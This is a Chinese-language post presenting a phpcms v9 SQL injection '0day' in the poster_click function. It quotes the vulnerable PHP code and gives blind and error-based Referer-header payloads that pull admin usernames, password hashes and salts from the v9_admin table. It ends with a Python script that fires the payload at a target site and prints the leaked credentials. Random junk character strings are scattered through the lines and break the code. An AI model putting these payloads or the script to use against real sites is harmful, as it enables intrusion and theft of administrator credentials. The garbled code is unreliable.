phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
1 A. s+ c; S* t$ \
; f( J" A* H( m0 |8 P问题函数\phpcms\modules\poster\index.php

public function poster_click() {
  t' [# o+ f$ X3 m: V5 i$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
) C# {7 J% w  p! i% U$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
$area = $ip_area->get($ip);
+ U+ l% N/ G' f, d4 R: J$username = param::get_cookie('username') ? param::get_cookie('username') : '';
  b( k0 K" X+ i3 Q# pif($id) {
. b' @) S7 ?5 b# h* K$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
# D* F( H7 N& N* l$setting = string2array($r['setting']);
if (count($setting)==1) {
0 h( U. T- I" l( Y6 B4 H+ b$url = $setting['1']['linkurl'];
5 x9 l( H, S* P0 w$ M1 P$ b3 A9 W} else {
/ r; N8 F+ D8 V7 f$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
% {3 Z1 R7 R2 e1 z% n# S& ]}
' g6 V- }. O$ |$ O9 qheader('Location: '.$url);
}



# ~# Q6 y5 v2 P0 e: `  _利用方式：
; k* s6 D4 F. x* C
1、可以采用盲注入的手法：
+ H1 }3 J% v( O: r
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

通过返回页面，正常与否一个个猜解密码字段。
3 q- F; m( V( k+ ^0 C, u0 F# v0 d* F
2、代码是花开写的，随手附上了：

1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
; I8 ?2 f8 ?5 w2 L
4 x2 N5 x) v  U- G4 P4 W; d此方法是爆错注入手法，原理自查。



# u. H: A: C! t' k. U利用程序:
5 E; g' H. a9 v  T
#!/usr/bin/env python
import httplib,sys,re

def attack():
print “Code by Pax.Mac Team conqu3r!”
print “Welcome to our zone!!!”
url=sys.argv[1]
* |6 h- x( [* R% p9 E1 z* Fpaths=sys.argv[2]
conn = httplib.HTTPConnection(url)
0 ]% U8 d, F+ \6 g  g) ki_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
“Accept”: “text/plain”,
" k' ]. i) T5 y+ T/ ~' L6 u. S& x“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
r1 = conn.getresponse()
datas=r1.read()
7 a& R2 V3 d( G& q/ L. N0 Zdatas=re.findall(r”Duplicate entry \’\w+’”, datas)
% x, o) W9 T- n* Z/ Nprint datas[0]
; i. w- O. F, d9 c% U7 I1 |conn.close()
if __name__==”__main__”:
5 r' v9 H' D: [if len(sys.argv)<3:
/ e: j; ^1 ~" y2 f: g7 Y. s4 J# Vprint “Code by Pax.Mac Team conqu3r”
print “Usgae:”
8 F8 T" p; f9 Q  i# jprint “    phpcmsattack.py   www.paxmac.org /”
; A8 e  ]+ n9 U# {  D% ?  fprint “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
sys.exit(1)
; d0 O; t( r+ |+ h- Q' Rattack()
! _7 ?1 [" f( a8 `6 M3 y3 c
$ T* H" w$ J: {# o1 |$ |, o